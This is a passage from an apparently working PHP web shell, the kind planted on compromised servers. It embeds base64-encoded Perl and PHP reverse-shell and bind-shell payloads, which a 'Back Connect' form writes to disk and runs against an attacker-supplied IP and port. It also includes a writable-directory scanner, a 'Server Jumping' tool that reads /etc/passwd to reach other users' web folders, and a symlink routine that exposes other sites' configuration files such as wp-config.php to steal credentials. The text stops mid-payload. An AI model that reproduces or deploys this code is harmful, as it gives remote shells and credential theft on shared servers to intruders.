  591.                 "php" => "PD9waHANCnNldF90aW1lX2xpbWl0ICgwKTsNCmlmKFBIUF9TQVBJICE9ICJjbGkiKSBkaWUoIk5vdCBHVUkiKTsgDQppZigkYXJndiA8IDEpIGRpZSgiSW52YWxpZCIpOw0KJGlwID0gJGFyZ3ZbMV07ICRwb3J0ID0gJGFyZ3ZbMl07ICRjaHVua19zaXplID0gMTQwMDsgJHdyaXRlX2EgPSBudWxsOyAkZXJyb3JfYSA9IG51bGw7ICRzaGVsbCA9ICIvYmluL3NoIC1pIjsgJGRhZW1vbiA9IDA7ICRkZWJ1ZyA9IDA7DQppZiAoZnVuY3Rpb25fZXhpc3RzKCdwY250bF9mb3JrJykpIHsNCiRwaWQgPSBwY250bF9mb3JrKCk7DQppZiAoJHBpZCA9PSAtMSkgeyBwcmludGl0KCJFUlJPUjogQ2FuJ3QgZm9yayIpOyBleGl0KDEpOyB9DQppZiAoJHBpZCkgeyBleGl0KDApOyB9DQppZiAocG9zaXhfc2V0c2lkKCkgPT0gLTEpIHsgcHJpbnRpdCgiRXJyb3I6IENhbid0IHNldHNpZCgpIik7IGV4aXQoMSk7IH0NCiRkYWVtb24gPSAxOw0KfSBlbHNlIHsgcHJpbnRpdCgiV0FSTklORzogRmFpbGVkIHRvIGRhZW1vbmlzZS4gIFRoaXMgaXMgcXVpdGUgY29tbW9uIGFuZCBub3QgZmF0YWwuIik7IH0NCi8vY2hkaXIoIi8iKTsNCnVtYXNrKDApOw0KJHNvY2sgPSBmc29ja29wZW4oJGlwLCAkcG9ydCwgJGVycm5vLCAkZXJyc3RyLCAzMCk7DQppZiAoISRzb2NrKSB7IHByaW50aXQoIiRlcnJzdHIgKCRlcnJubykiKTsgZXhpdCgxKTsgfQ0KJGRlc2NyaXB0b3JzcGVjID0gYXJyYXkoMCA9PiBhcnJheSgicGlwZSIsICJyIiksMSA9PiBhcnJheSgicGlwZSIsICJ3IiksMiA9PiBhcnJheSgicGlwZSIsICJ3IikpOw0KJHByb2Nlc3MgPSBwcm9jX29wZW4oJHNoZWxsLCAkZGVzY3JpcHRvcnNwZWMsICRwaXBlcyk7DQppZiAoIWlzX3Jlc291cmNlKCRwcm9jZXNzKSkgeyBwcmludGl0KCJFUlJPUjogQ2FuJ3Qgc3Bhd24gc2hlbGwiKTsgZXhpdCgxKTsgfQ0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMF0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMV0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMl0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkc29jaywgMCk7DQpwcmludGl0KCJTdWNjZXNzZnVsbHkgb3BlbmVkIHJldmVyc2Ugc2hlbGwgdG8gJGlwOiRwb3J0Iik7DQp3aGlsZSAoMSkgeyBpZiAoZmVvZigkc29jaykpIHsgcHJpbnRpdCgiRVJST1I6IFNoZWxsIGNvbm5lY3Rpb24gdGVybWluYXRlZCIpOyBicmVhazsgfQ0KaWYgKGZlb2YoJHBpcGVzWzFdKSkgeyBwcmludGl0KCJFUlJPUjogU2hlbGwgcHJvY2VzcyB0ZXJtaW5hdGVkIik7IGJyZWFrOyB9DQokcmVhZF9hID0gYXJyYXkoJHNvY2ssICRwaXBlc1sxXSwgJHBpcGVzWzJdKTsNCiRudW1fY2hhbmdlZF9zb2NrZXRzID0gc3RyZWFtX3NlbGVjdCgkcmVhZF9hLCAkd3JpdGVfYSwgJGVycm9yX2EsIG51bGwpOw0KaWYgKGluX2FycmF5KCRzb2NrLCAkcmVhZF9hKSkgeyBpZiAoJGRlYnVnKSBwcmludGl0KCJTT0NLIFJFQUQiKTsgJGlucHV0ID0gZnJlYWQoJHNvY2ssICRjaHVua19zaXplKTsgaWYgKCRkZWJ1ZykgcHJpbnRpdCgiU09DSzogJGlucHV0Iik7IGZ3cml0ZSgkcGlwZXNbMF0sICRpbnB1dCk7IH0NCmlmIChpbl9hcnJheSgkcGlwZXNbMV0sICRyZWFkX2EpKSB7IGlmICgkZGVidWcpIHByaW50aXQoIlNURE9VVCBSRUFEIik7ICRpbnB1dCA9IGZyZWFkKCRwaXBlc1sxXSwgJGNodW5rX3NpemUpOyBpZiAoJGRlYnVnKSBwcmludGl0KCJTVERPVVQ6ICRpbnB1dCIpOyBmd3JpdGUoJHNvY2ssICRpbnB1dCk7IH0NCmlmIChpbl9hcnJheSgkcGlwZXNbMl0sICRyZWFkX2EpKSB7IGlmICgkZGVidWcpIHByaW50aXQoIlNUREVSUiBSRUFEIik7ICRpbnB1dCA9IGZyZWFkKCRwaXBlc1syXSwgJGNodW5rX3NpemUpOyBpZiAoJGRlYnVnKSBwcmludGl0KCJTVERFUlI6ICRpbnB1dCIpOyBmd3JpdGUoJHNvY2ssICRpbnB1dCk7IH0NCn0NCmZjbG9zZSgkc29jayk7DQpmY2xvc2UoJHBpcGVzWzBdKTsNCmZjbG9zZSgkcGlwZXNbMV0pOw0KZmNsb3NlKCRwaXBlc1syXSk7DQpwcm9jX2Nsb3NlKCRwcm9jZXNzKTsNCmZ1bmN0aW9uIHByaW50aXQgKCRzdHJpbmcpIHsgaWYgKCEkZGFlbW9uKSB7IHByaW50ICIkc3RyaW5nXG4iOyB9IH0NCj8+"
  592.                 );
  593.  
  594.                 $bp = array(
  595.                 "pl" => "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="
  596.                 );
  597.  
  598.             } elseif($win && !$posix){
  599.            
  600.                 $bc = array(
  601.                 "pl" => "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgiZWNoby4gJiYgZWNobyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0gJiYgZWNoby4gJiYgY21kIik7DQpjbG9zZShTVERJTik7DQpjbG9zZShTVERPVVQpOw0KY2xvc2UoU1RERVJSKTs=",
  602.                 "php" => "PD9waHANCnNldF90aW1lX2xpbWl0ICgwKTsNCi8vaWYoUEhQX1NBUEkgIT0gImNsaSIpIGRpZSgiTm90IEdVSSIpOyANCmlmKCRhcmd2IDwgMSkgZGllKCJJbnZhbGlkIik7DQokaXAgPSAkYXJndlsxXTsgJHBvcnQgPSAkYXJndlsyXTsgJGNodW5rX3NpemUgPSAxNDAwOyAkd3JpdGVfYSA9IG51bGw7ICRlcnJvcl9hID0gbnVsbDsgJHNoZWxsID0gImNtZCI7ICRkYWVtb24gPSAwOyAkZGVidWcgPSAwOw0KaWYgKGZ1bmN0aW9uX2V4aXN0cygncGNudGxfZm9yaycpKSB7DQokcGlkID0gcGNudGxfZm9yaygpOw0KaWYgKCRwaWQgPT0gLTEpIHsgcHJpbnRpdCgiRVJST1I6IENhbid0IGZvcmsiKTsgZXhpdCgxKTsgfQ0KaWYgKCRwaWQpIHsgZXhpdCgwKTsgfQ0KaWYgKHBvc2l4X3NldHNpZCgpID09IC0xKSB7IHByaW50aXQoIkVycm9yOiBDYW4ndCBzZXRzaWQoKSIpOyBleGl0KDEpOyB9DQokZGFlbW9uID0gMTsNCn0gZWxzZSB7IHByaW50aXQoIldBUk5JTkc6IEZhaWxlZCB0byBkYWVtb25pc2UuICBUaGlzIGlzIHF1aXRlIGNvbW1vbiBhbmQgbm90IGZhdGFsLiIpOyB9DQovL2NoZGlyKCIvIik7DQp1bWFzaygwKTsNCiRzb2NrID0gZnNvY2tvcGVuKCRpcCwgJHBvcnQsICRlcnJubywgJGVycnN0ciwgMzApOw0KaWYgKCEkc29jaykgeyBwcmludGl0KCIkZXJyc3RyICgkZXJybm8pIik7IGV4aXQoMSk7IH0NCiRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLDEgPT4gYXJyYXkoInBpcGUiLCAidyIpLDIgPT4gYXJyYXkoInBpcGUiLCAidyIpKTsNCiRwcm9jZXNzID0gcHJvY19vcGVuKCRzaGVsbCwgJGRlc2NyaXB0b3JzcGVjLCAkcGlwZXMpOw0KaWYgKCFpc19yZXNvdXJjZSgkcHJvY2VzcykpIHsgcHJpbnRpdCgiRVJST1I6IENhbid0IHNwYXduIHNoZWxsIik7IGV4aXQoMSk7IH0NCnN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcGVzWzBdLCAwKTsNCnN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcGVzWzFdLCAwKTsNCnN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcGVzWzJdLCAwKTsNCnN0cmVhbV9zZXRfYmxvY2tpbmcoJHNvY2ssIDApOw0KcHJpbnRpdCgiU3VjY2Vzc2Z1bGx5IG9wZW5lZCByZXZlcnNlIHNoZWxsIHRvICRpcDokcG9ydCIpOw0Kd2hpbGUgKDEpIHsgaWYgKGZlb2YoJHNvY2spKSB7IHByaW50aXQoIkVSUk9SOiBTaGVsbCBjb25uZWN0aW9uIHRlcm1pbmF0ZWQiKTsgYnJlYWs7IH0NCmlmIChmZW9mKCRwaXBlc1sxXSkpIHsgcHJpbnRpdCgiRVJST1I6IFNoZWxsIHByb2Nlc3MgdGVybWluYXRlZCIpOyBicmVhazsgfQ0KJHJlYWRfYSA9IGFycmF5KCRzb2NrLCAkcGlwZXNbMV0sICRwaXBlc1syXSk7DQokbnVtX2NoYW5nZWRfc29ja2V0cyA9IHN0cmVhbV9zZWxlY3QoJHJlYWRfYSwgJHdyaXRlX2EsICRlcnJvcl9hLCBudWxsKTsNCmlmIChpbl9hcnJheSgkc29jaywgJHJlYWRfYSkpIHsgaWYgKCRkZWJ1ZykgcHJpbnRpdCgiU09DSyBSRUFEIik7ICRpbnB1dCA9IGZyZWFkKCRzb2NrLCAkY2h1bmtfc2l6ZSk7IGlmICgkZGVidWcpIHByaW50aXQoIlNPQ0s6ICRpbnB1dCIpOyBmd3JpdGUoJHBpcGVzWzBdLCAkaW5wdXQpOyB9DQppZiAoaW5fYXJyYXkoJHBpcGVzWzFdLCAkcmVhZF9hKSkgeyBpZiAoJGRlYnVnKSBwcmludGl0KCJTVERPVVQgUkVBRCIpOyAkaW5wdXQgPSBmcmVhZCgkcGlwZXNbMV0sICRjaHVua19zaXplKTsgaWYgKCRkZWJ1ZykgcHJpbnRpdCgiU1RET1VUOiAkaW5wdXQiKTsgZndyaXRlKCRzb2NrLCAkaW5wdXQpOyB9DQppZiAoaW5fYXJyYXkoJHBpcGVzWzJdLCAkcmVhZF9hKSkgeyBpZiAoJGRlYnVnKSBwcmludGl0KCJTVERFUlIgUkVBRCIpOyAkaW5wdXQgPSBmcmVhZCgkcGlwZXNbMl0sICRjaHVua19zaXplKTsgaWYgKCRkZWJ1ZykgcHJpbnRpdCgiU1RERVJSOiAkaW5wdXQiKTsgZndyaXRlKCRzb2NrLCAkaW5wdXQpOyB9DQp9DQpmY2xvc2UoJHNvY2spOw0KZmNsb3NlKCRwaXBlc1swXSk7DQpmY2xvc2UoJHBpcGVzWzFdKTsNCmZjbG9zZSgkcGlwZXNbMl0pOw0KcHJvY19jbG9zZSgkcHJvY2Vzcyk7DQpmdW5jdGlvbiBwcmludGl0ICgkc3RyaW5nKSB7IGlmICghJGRhZW1vbikgeyBwcmludCAiJHN0cmluZ1xuIjsgfSB9DQo/Pg=="
  603.                 );
  604.  
  605.                 $bp = array(
  606.                 "pl" => "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9ImNtZCI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCnVzZSBTb2NrZXQ7DQpzb2NrZXQoUywmUEZfSU5FVCwmU09DS19TVFJFQU0sZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKSB8fCBkaWUgIkNhbnQgY3JlYXRlIHNvY2tldFxuIjsNCnNldHNvY2tvcHQoUyxTT0xfU09DS0VULFNPX1JFVVNFQUREUiwxKTsNCmJpbmQoUyxzb2NrYWRkcl9pbigkQVJHVlswXSxJTkFERFJfQU5ZKSkgfHwgZGllICJDYW50IG9wZW4gcG9ydFxuIjsNCmxpc3RlbihTLDMpIHx8IGRpZSAiQ2FudCBsaXN0ZW4gcG9ydFxuIjsNCndoaWxlKDEpIHsNCglhY2NlcHQoQ09OTixTKTsNCglpZighKCRwaWQ9Zm9yaykpIHsNCgkJZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0KCQlvcGVuIFNURElOLCI8JkNPTk4iOw0KCQlvcGVuIFNURE9VVCwiPiZDT05OIjsNCgkJb3BlbiBTVERFUlIsIj4mQ09OTiI7DQoJCWV4ZWMgJFNIRUxMIHx8IGRpZSBwcmludCBDT05OICJDYW50IGV4ZWN1dGUgJFNIRUxMXG4iOw0KCQljbG9zZSBDT05OOw0KCQlleGl0IDA7DQoJfQ0KfQ=="
  607.                 );
  608.  
  609.             }
  610.        
  611.             echo "<form action=\"?cwd=$cwd&amp;action=tools\" method=\"post\">\n".
  612.  
  613.                  "  <h1 class=\"cantik\">Shell Tools</h1>\n".
  614.  
  615.                  "  <fieldset style=\"width: 40%;\">\n".
  616.                  "      <legend>Network tools</legend>\n".
  617.  
  618.                  "      Back Connect: <br />\n".
  619.                  "      <input type=\"text\" name=\"BC_ip\" value=\"".((getenv('REMOTE_ADDR')) ? ($_SERVER['REMOTE_ADDR']) : ("127.0.0.1"))."\" placeholder=\"IP Address\" class=\"kotak\">\n".
  620.                  "      <input type=\"text\" name=\"BC_port\" value=\"31337\" placeholder=\"Port\" class=\"kotak\">\n".
  621.                  "      <select class=\"kotak\" name=\"BC_mode\"> <option value=\"perl\">Perl</option> <option value=\"php\">PHP</option> </select>\n".
  622.                  "      <input type=\"submit\" name=\"SubmitBC\" value=\"connect\" class=\"kotak\"> <br />\n".
  623.  
  624.                  "      <br />\n".
  625.  
  626.                  "      Bind Port to <b>/bin/sh</b>: <br />\n".
  627.                  "      <input type=\"text\" name=\"BP_port\" value=\"31337\" placeholder=\"Port\" class=\"kotak\">\n".
  628.                  "      <select class=\"kotak\" name=\"BP_mode\"> <option value=\"perl\">Perl</option> </select>\n".
  629.                  "      <input type=\"submit\" name=\"SubmitBP\" value=\"bind port\" class=\"kotak\"> <br /><br />\n";
  630.  
  631.             if(isset($_POST['SubmitBC'])){
  632.                 echo "<hr />";
  633.                 if(empty($_POST['BC_ip'])) $_POST['BC_ip'] = $_SERVER['REMOTE_ADDR'];
  634.                 if(empty($_POST['BC_port'])) $msg = "Port is empty !!";
  635.  
  636.                 elseif($_POST['BC_mode'] == "perl"){
  637.                     b64wrt($cwd.".PHHM_files/bc/bc.pl", $bc['pl']);
  638.                     if(!$win && $posix){ perintah("chmod +x ".$cwd.".PHHM_files/bc/bc.pl"); }
  639.                     perintah("perl ".$cwd.".PHHM_files/bc/bc.pl ".trim($_POST['BC_ip'])." ".trim($_POST['BC_port']));
  640.                     $msg = "[BACK CONNECT][PERL] Trying to connect @ ".trim($_POST['BC_ip']).":".trim($_POST['BC_port'])."";
  641.                 }
  642.  
  643.                 elseif($_POST['BC_mode'] == "php"){
  644.                     b64wrt($cwd.".PHHM_files/bc/bc.php", $bc['php']);
  645.                     if(!$win && $posix){ perintah("chmod +x ".$cwd.".PHHM_files/bc/bc.pl"); }
  646.                     perintah("php ".$cwd.".PHHM_files/bc/bc.php ".trim($_POST['BC_ip'])." ".trim($_POST['BC_port']));
  647.                     $msg = "[BACK CONNECT][PHP] Trying to connect @ ".trim($_POST['BC_ip']).":".trim($_POST['BC_port'])."";
  648.                 }
  649.  
  650.                 echo $msg;
  651.             } elseif(isset($_POST['SubmitBP'])){
  652.                 if(empty($_POST['BP_port'])) $msg = "Port is empty !!";
  653.                 elseif($_POST['BP_mode'] == "perl"){
  654.                     b64wrt("bp.pl", $bp['pl']);
  655.                     if(!$win && $posix){ perintah("chmod +x bp.pl"); }
  656.                     perintah("perl bp.pl ".trim($_POST['BP_port'])."");
  657.                     $msg = "[PORT BIND][PERL] Trying to bind port <b>(".trim($_POST['BP_port']).")</b> @ ".$_SERVER['SERVER_ADDR']."";
  658.                 }
  659.                 echo $msg;
  660.             }
  661.            
  662.             echo "  </fieldset>\n".
  663.  
  664.                  "  <br />\n".
  665.  
  666.                  "  <fieldset style=\"width: 40%;\">\n".
  667.                  "      <legend>File/Directory NOT Writable? Permission Denied when saving file? Try this &minus; File permission checker</legend>\n".
  668.                  "      <input type=\"text\" name=\"dir2chk\" value=\"$cwd\" class=\"kotak\" size=\"40%\" />\n".
  669.                  "      <input type=\"submit\" name=\"SubmitCHK\" value=\"Scan...!!!\" class=\"kotak\" /><br />\n";
  670.  
  671.             if(isset($_POST['SubmitCHK'])){
  672.                 if($_POST['dir2chk'] == ""){ $_POST['dir2chk'] = $cwd; }
  673.                 echo "<hr />Scanning folder <b>".magicboom($_POST['dir2chk'])."</b> ....<br /><br />";
  674.                 $dcount = 0; $fcount = 0; $msg = "";
  675.  
  676.                 if($a = opendir(magicboom($_POST['dir2chk']))){
  677.                     while($b = readdir($a)){
  678.                         if(is_dir($b)){
  679.                             if(is_writable($b)){
  680.                                 $msg .= "DIR ".$b." is writable !<br />\n";
  681.                                 $dcount++;
  682.                             }
  683.                         }
  684.                         elseif(is_file($b)){
  685.                             if(is_writable($b)){
  686.                                 $msg .= "FILE ".$b." is writable !<br />\n";
  687.                                 $fcount++;
  688.                             }
  689.                         }
  690.                     }
  691.                     closedir($a);
  692.                     echo $msg;
  693.                     echo "<hr />";
  694.                     if($fcount < 2){ echo $fcount." Writable file found !<br />\n"; } else { echo $fcount." Writable files found !<br />\n"; }
  695.                     if($dcount < 2){ echo $fcount." Writable directory found !<br />\n"; } else { echo $dcount." Writable directories found !<br />\n"; }
  696.                 }
  697.             }
  698.  
  699.             echo "</fieldset>".
  700.  
  701.                  "</form>";
  702.  
  703.             true;
  704.         }
  705.  
  706.         elseif(isset($_GET['action']) && $_GET['action'] == "jumping"){
  707.             echo "\n\n<form action=\"?cwd=".$cwd."&amp;action=jumping\" method=\"post\">\n";
  708.             echo "<h1 class=\"cantik\">Server Jumping</h1>";
  709.             $exp = explode(DIRECTORY_SEPARATOR, $cwd);
  710.             if($exp[3] != "public_html" || $win){
  711.                 echo "Can't jump on this server - Path is not <b>the-regular-/home/user/public_html</b> or you are running on a <b>Windows</b> server. <br />";
  712.                 echo "Thank you for using this shell :)";
  713.                 exit;
  714.             } elseif($safemode) {
  715.                 echo "Safe Mode is enabled... Bypass it first";
  716.                 exit;
  717.             } elseif($exp[3] == "public_html" && $posix && !$win) {
  718.                 $pub = array();
  719.                 foreach(file("/etc/passwd") as $row){
  720.                     $kaun = 0;
  721.                     $pecah = explode(":", $row);
  722.                     for($c=0; $c<count($pecah[0])+1; $c++){
  723.                         if(is_readable("/home/".$pecah[$c]."/public_html/")){
  724.                             array_push($pub, "/home/".$pecah[$c]."/public_html/");
  725.                             echo "[+] Readable &minus; <a href=\"?cwd=/home/".$pecah[$c]."/public_html/\" title=\"/home/".$pecah[$c]."/public_html/\" target=\"_blank\">/home/".$pecah[$c]."/public_html/</a><br />\n";
  726.                         }
  727.                     }
  728.                 }
  729.                 echo "Found ".sizeof($pub)." readable DIR";
  730.             }
  731.             echo "</form>";
  732.         }
  733.  
  734.         elseif(isset($_GET['action']) && $_GET['action'] == "sym_menu"){
  735.             if(is_writable($cwd)){
  736.                 if(!is_dir($cwd.".PHHM_files")){ mkdir($cwd.".PHHM_files", 0777); }
  737.                 if(!is_dir($cwd.".PHHM_files/sym")){ mkdir($cwd.".PHHM_files/sym", 0777); }
  738.                 if(!is_dir($cwd.".PHHM_files/sym/perl")){ mkdir($cwd.".PHHM_files/sym/perl", 0777); }
  739.                 if(!is_dir($cwd.".PHHM_files/sym/php")){ mkdir($cwd.".PHHM_files/sym/php", 0777); }
  740.                 if(!is_dir($cwd.".PHHM_files/bc")){ mkdir($cwd.".PHHM_files/bc", 0777); }
  741.             }
  742.             echo "<form action=\"?cwd=".$cwd."&amp;action=sym_menu\" method=\"post\">\n".
  743.                  "<h1 class=\"cantik\">Symlink Menu</h1>\n".
  744.                  "&minus; Symlink configuration files using....: <br />\n".
  745.                  "[ <a href=\"?cwd=".$cwd."&amp;action=sym_auto_perl\" title=\"Symlink configuration files using PERL script\">PERL</a> ]\n".
  746.                  "[ <a href=\"?cwd=".$cwd."&amp;action=sym_auto_php\" title=\"Symlink configuration files using PHP script\">PHP</a> ]\n".
  747.                  "</form>";
  748.         }
  749.  
  750.         elseif(isset($_GET['action']) && $_GET['action'] == "sym_auto_perl"){
  751.             if(!is_file($cwd.".PHHM_files/sym/perl/.htaccess")){
  752.                 b64wrt($cwd.".PHHM_files/sym/perl/.htaccess", "T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ0KQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAuaGF4DQpBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLmhheA0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5oYXg=");
  753.             }
  754.             if(!is_file($cwd.".PHHM_files/sym/perl/config.hax")){
  755.                 b64wrt($cwd.".PHHM_files/sym/perl/config.hax", "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1MYW5ndWFnZSIgY29udGVudD0iZW4tdXMiIC8+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4NCjx0aXRsZT5Db25maWcgUFdOPC90aXRsZT4NCjxsaW5rIGhyZWY9Imh0dHA6Ly9pY29ucy5pY29uc2Vla2VyLmNvbS9wbmcvZnVsbHNpemUvaGFsbG93ZWVuL3NrdWxsLnBuZyIgcmVsPSJpY29uIiB0eXBlPSJpbWFnZS94LXBuZyIgLz4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQpib2R5IHsNCglvdmVyZmxvdy14OiBoaWRkZW47DQoJb3ZlcmZsb3cteTogaGlkZGVuOw0KfQ0KLmR6IHsNCiAgICBmb250LWZhbWlseTogVGFob21hOw0KICAgIGZvbnQtc2l6ZTogMTRweDsNCiAgICBmb250LXdlaWdodDogYm9sZDsNCiAgICBjb2xvcjogIzMzMzNGRjsNCiAgICB0ZXh0LWFsaWduOiBjZW50ZXI7DQogICAgdGV4dC1zaGFkb3c6IGJsYWNrIDBweCAwcHggMnB4Ow0KfQ0KI2NoZWNrb3V0dGV4dGFyZWEgeyB3ZWJraXQtYm9yZGVyLXJhZGl1czogMTVweDsgfQ0KaG92ZXIjY2hlY2tvdXR0ZXh0YXJlYSB7IG9wYWNpdHk6IDAuNjsgYmFja2dyb3VuZC1jb2xvcjozMzMzMzMgfQ0KPC9zdHlsZT4NCjwvaGVhZD4NCic7DQpzdWIgbGlsew0KICAgICgkdXNlcikgPSBAXzsNCiRtc3IgPSBxeHtwd2R9Ow0KJGhhaGFnYXk9JG1zci4iLyIuJHVzZXI7DQokaGFoYWdheT1+cy9cbi8vZzsgDQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGhhaGFnYXkuJy1zaG9wLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL29zL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRoYWhhZ2F5Lictc2hvcC1vcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbS9pbmNsdWRlcy9jb25maWd1cmUucGhwJywkaGFoYWdheS4nLW9zY29tLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL29zY29tbWVyY2UvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGhhaGFnYXkuJy1vc2NvbW1lcmNlLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL29zY29tbWVyY2VzL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRoYWhhZ2F5Lictb3Njb21tZXJjZXMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcC9pbmNsdWRlcy9jb25maWd1cmUucGhwJywkaGFoYWdheS4nLXNob3AyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3BwaW5nL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRoYWhhZ2F5Lictc2hvcC1zaG9wcGluZy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zYWxlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRoYWhhZ2F5Lictc2FsZS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hbWVtYmVyL2NvbmZpZy5pbmMucGhwJywkaGFoYWdheS4nLWFtZW1iZXIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLmluYy5waHAnLCRoYWhhZ2F5LictYW1lbWJlcjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWVtYmVycy9jb25maWd1cmF0aW9uLnBocCcsJGhhaGFnYXkuJy1tZW1iZXJzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRoYWhhZ2F5LictMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywkaGFoYWdheS4nLWZvcnVtLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtcy9pbmNsdWRlcy9jb25maWcucGhwJywkaGFoYWdheS4nLWZvcnVtcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGhhaGFnYXkuJy01LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRoYWhhZ2F5LictNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywkaGFoYWdheS4nLXdwMTMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHV